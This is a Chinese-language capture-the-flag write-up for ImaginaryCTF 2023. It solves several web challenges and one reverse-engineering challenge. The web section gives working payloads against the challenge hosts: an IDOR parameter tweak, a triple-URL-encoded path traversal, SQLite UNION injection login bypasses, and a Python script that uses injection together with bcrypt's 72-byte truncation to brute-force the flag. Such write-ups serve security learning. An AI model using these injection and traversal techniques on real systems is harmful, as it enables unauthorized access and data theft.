2023ImaginaryCTF

2023ImaginaryCTF

Web

inspection

image-20230723221756872

Idoriot

image-20230723221906823

注册时可以直接更改user_id

idoriot-revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

session_start();

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
header("Location: login.php");
exit();
}

// Check if session is expired
if (time() > $_SESSION['expires']) {
header("Location: logout.php");
exit();
}

// Display user ID on landing page
echo "Welcome, User ID: " . urlencode($_SESSION['user_id']);

// Get the user for admin
$db = new PDO('sqlite:memory:');
$admin = $db->query('SELECT * FROM users WHERE username = "admin" LIMIT 1')->fetch();

// Check user_id
if (isset($_GET['user_id'])) {
$user_id = (int) $_GET['user_id'];
// Check if the user is admin
if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) {
// Read the flag from flag.txt
$flag = file_get_contents('/flag.txt');
echo "<h1>Flag</h1>";
echo "<p>$flag</p>";
}
}

// Display the source code for this file
echo "<h1>Source Code</h1>";
highlight_file(__FILE__);
?>

审计代码,需要满足

1
$user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])

前者只是需要传入字符串或者0

后者通过正则判断用户名是否含有admin

image-20230723222300380

任意注册一个,修改id就行了

1
http://idoriot-revenge.chal.imaginaryctf.org/index.php?user_id=0

roks

给了源码,重点关注file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$filename = urldecode($_GET["file"]);
if (str_contains($filename, "/") or str_contains($filename, ".")) {
$contentType = mime_content_type("stopHacking.png");
header("Content-type: $contentType");
readfile("stopHacking.png");
} else {
$filePath = "images/" . urldecode($filename);
$contentType = mime_content_type($filePath);
header("Content-type: $contentType");
readfile($filePath);
}
?>

首先先url解码,如果出现/或者.就gg了,但是else会再一次解码

那就是三次编码即可

1
http://roks.chal.imaginaryctf.org/file.php?file=%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%32%25%36%36%25%32%35%25%33%36%25%33%36%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%37%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%30%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%37

Perfect Picture

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def check(uploaded_image):
with open('flag.txt', 'r') as f:
flag = f.read()
with Image.open(app.config['UPLOAD_FOLDER'] + uploaded_image) as image:
w, h = image.size
if w != 690 or h != 420:
return 0
if image.getpixel((412, 309)) != (52, 146, 235, 123):
return 0
if image.getpixel((12, 209)) != (42, 16, 125, 231):
return 0
if image.getpixel((264, 143)) != (122, 136, 25, 213):
return 0

with exiftool.ExifToolHelper() as et:
metadata = et.get_metadata(app.config['UPLOAD_FOLDER'] + uploaded_image)[0]
try:
if metadata["PNG:Description"] != "jctf{not_the_flag}":
return 0
if metadata["PNG:Title"] != "kool_pic":
return 0
if metadata["PNG:Author"] != "anon":
return 0
except:
return 0
return flag

只要上传的图片能过check就行

槽点:这种题应该放misc的

脚本一把梭,需要配置一下exiftool.exe到环境变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import subprocess
from PIL import Image, ImageDraw


def create_flag_image(filename):
img = Image.new('RGBA', (690, 420), color=(255, 255, 255, 255))
draw = ImageDraw.Draw(img)
draw.point((412, 309), fill=(52, 146, 235, 123))
draw.point((12, 209), fill=(42, 16, 125, 231))
draw.point((264, 143), fill=(122, 136, 25, 213))
img.save(filename)


def set_image_metadata(image_path):
metadata = {
"PNG:Description": "jctf{not_the_flag}",
"PNG:Title": "kool_pic",
"PNG:Author": "anon"
}

command = ["exiftool", "-overwrite_original"]
for tag, value in metadata.items():
command.append(f"-{tag}={value}")
command.append(image_path)

subprocess.run(command, capture_output=True, text=True)


def view_image_metadata(image_path):
command = ["exiftool", image_path]
result = subprocess.run(command, capture_output=True, text=True)

if result.returncode == 0:
print("Metadata for image: ", image_path)
print(result.stdout)
else:
print("Error:", result.stderr)


img_filename = "flag.png"

created_filename = create_flag_image(img_filename)
set_image_metadata(img_filename)
view_image_metadata(img_filename)

blank

sqlite3的注入(但是没有完全注入)

只需要能够登录为admin就行

那么username设置为admin

1
2
3
4
5
6
7
8
9
10
11
12
if (err) {
console.error(err);
res.status(500).send('Error retrieving user');
} else {
if (row) {
req.session.loggedIn = true;
req.session.username = username;
res.send('Login successful!');
} else {
res.status(401).send('Invalid username or password');
}
}

sql查询的时候没有判断password是否是admin的password,那么只需要不报错,sql查到东西就行了

1
password=a"union select 1,2,3/*&username=admin  //post

login

赛后的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}

$flag = $_ENV['FLAG'] ?? 'jctf{test_flag}';
$magic = $_ENV['MAGIC'] ?? 'aabbccdd11223344';
$db = new SQLite3('/db.sqlite3');

$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
$msg = '';

if (isset($_GET[$magic])) {
$password .= $flag;
}

if ($username && $password) {
$res = $db->querySingle("SELECT username, pwhash FROM users WHERE username = '$username'", true);
if (!$res) {
$msg = "Invalid username or password";
} else if (password_verify($password, $res['pwhash'])) {
$u = htmlentities($res['username']);
$msg = "Welcome $u! But there is no flag here :P";
if ($res['username'] === 'admin') {
$msg .= "<!-- magic: $magic -->";
}
} else {
$msg = "Invalid username or password";
}
}
?>

首先第一步需要得到magic才能够使得password带上flag

1
2
3
4
<?php
//echo password_hash("a", PASSWORD_DEFAULT);
echo password_verify("a","$2y$10$5OlXnb0eEfoadvdCwULWvuKVU3HFUL7bElISRItRVbDySKxrHMiCO")
?>

通过对username的注入登录到admin,获取到magic688a35c685a7a654abc80f8e123ad9f0

1
password=a&username=a' UNION SELECT 'admin' AS username,'$2y$10$5OlXnb0eEfoadvdCwULWvuKVU3HFUL7bElISRItRVbDySKxrHMiCO' AS pwhash/*

根据https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#password_hash-password_verify

只能判断前72个字符,那么就可以开始爆破了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import os

url = "http://login.chal.imaginaryctf.org/?688a35c685a7a654abc80f8e123ad9f0"

able = "abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^`{|~}"
flag = "ictf{"

while True:
length = 71 - len(flag)
password = "a" * length
for i in able:
guess = password + flag + i
hash = os.popen(f"php exp.php {guess}").read()
headers = {"Content-Type": "application/x-www-form-urlencoded"} # need for it
data = f"username=a' UNION SELECT 'admin' AS username,'{hash}' AS pwhash/*&password={password}"
r = requests.post(url, data=data, headers=headers)
if "admin" in r.text:
flag += i
print(flag)
break
if flag[-1:] == '}':
break
1
2
<?php
echo password_hash($argv[1], PASSWORD_DEFAULT);

image-20230724124904514

1
<>| 这三个在命令行会直接报错,如果之后遇到flag中有,又需要用命令行的可能需要特殊处理

Re

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3

def enc(b):
a = [n for n in range(b[0]*2**24+b[1]*2**16+b[2]*2**8+b[3]+1)][1:]
c,i = 0,0
while len([n for n in a if n != 0]) > 1:
i%=len(a)
if (a[i]!=0 and c==1):
a[i],c=0,0
if (a[i] != 0):
c+=1
i += 1
return sum(a)

print(r"""
.----. @ @
/ .-"-.`. \v/
| | '\ \ \_/ )
,-\ `-.' /.' /
'---`----'----'
""")
flag = input("Enter flag here: ").encode()
out = b''
for n in [flag[i:i+4] for i in range(0,len(flag),4)]:
out += bytes.fromhex(hex(enc(n[::-1]))[2:].zfill(8))

if out == b'L\xe8\xc6\xd2f\xde\xd4\xf6j\xd0\xe0\xcad\xe0\xbe\xe6J\xd8\xc4\xde`\xe6\xbe\xda>\xc8\xca\xca^\xde\xde\xc4^\xde\xde\xdez\xe8\xe6\xde':
print("[*] Flag correct!")
else:
print("[*] Flag incorrect.")

本质上是对enc函数的简化,通过测试找规律

1
2
3
4
5
1
1 3
1 3 5 7
1 3 5 7 9 11 13 15
1 3 5 7 9 11 13 15 17 19 21 23 25 .....

从数字二开始就呈现这样的数字规律

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def enc(b):
a = [n for n in range(b)][1:]
c, i = 0, 0
while len([n for n in a if n != 0]) > 1:
i %= len(a)
if (a[i] != 0 and c == 1):
a[i], c = 0, 0
if (a[i] != 0):
c += 1
i += 1
return sum(a)


def num(n):
x = 0
n = n - 2
for i in range(0, 3000):
x += pow(2, i)
if n < x:
x -= pow(2, i)
break

return (n - x) * 2 + 1


# for i in range(30):
# print(num(i), i)
# for i in range(30):
# print(enc(i), i)

然后写出简化的函数,测试第一个块

1
2
x = b'L\xe8\xc6\xd2'
print(int(bytes.hex(x), 16))

是偶数,所以重新稍微修改函数返回值和结构,然后生成4字符的全部组合和数值即可

最后全部exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def enc(b):
a = [n for n in range(b)][1:]
c, i = 0, 0
while len([n for n in a if n != 0]) > 1:
i %= len(a)
if (a[i] != 0 and c == 1):
a[i], c = 0, 0
if (a[i] != 0):
c += 1
i += 1
return sum(a)


def num(b):
n = b[0] * 2 ** 24 + b[1] * 2 ** 16 + b[2] * 2 ** 8 + b[3] + 1
x = 0
n = n - 2
for i in range(0, 3000):
x += pow(2, i)
if n < x:
x -= pow(2, i)
break

return str((n - x) * 2)


# for i in range(30):
# print(num(i), i)
# for i in range(30):
# print(enc(i), i)

# x = b'L\xe8\xc6\xd2'
# print(int(bytes.hex(x), 16))
# flag = b'ictf'
# for n in [flag[i:i+4] for i in range(0,len(flag),4)]:
# print(num(n[::-1]))

import string

all = (string.digits + string.ascii_letters + "{_}")
f = open("all.txt", "w")
for i in all:
for j in all:
for k in all:
for l in all:
x = (i+j+k+l).encode()
f.write(num(x[::-1]) + ' ' + str(i + j + k + l) + '\n')

flag = b'L\xe8\xc6\xd2f\xde\xd4\xf6j\xd0\xe0\xcad\xe0\xbe\xe6J\xd8\xc4\xde`\xe6\xbe\xda>\xc8\xca\xca^\xde\xde\xc4^\xde\xde\xdez\xe8\xe6\xde'
for n in [flag[i:i+4] for i in range(0,len(flag),4)]:
print(int(bytes.hex(n), 16))

ctrl+f就行了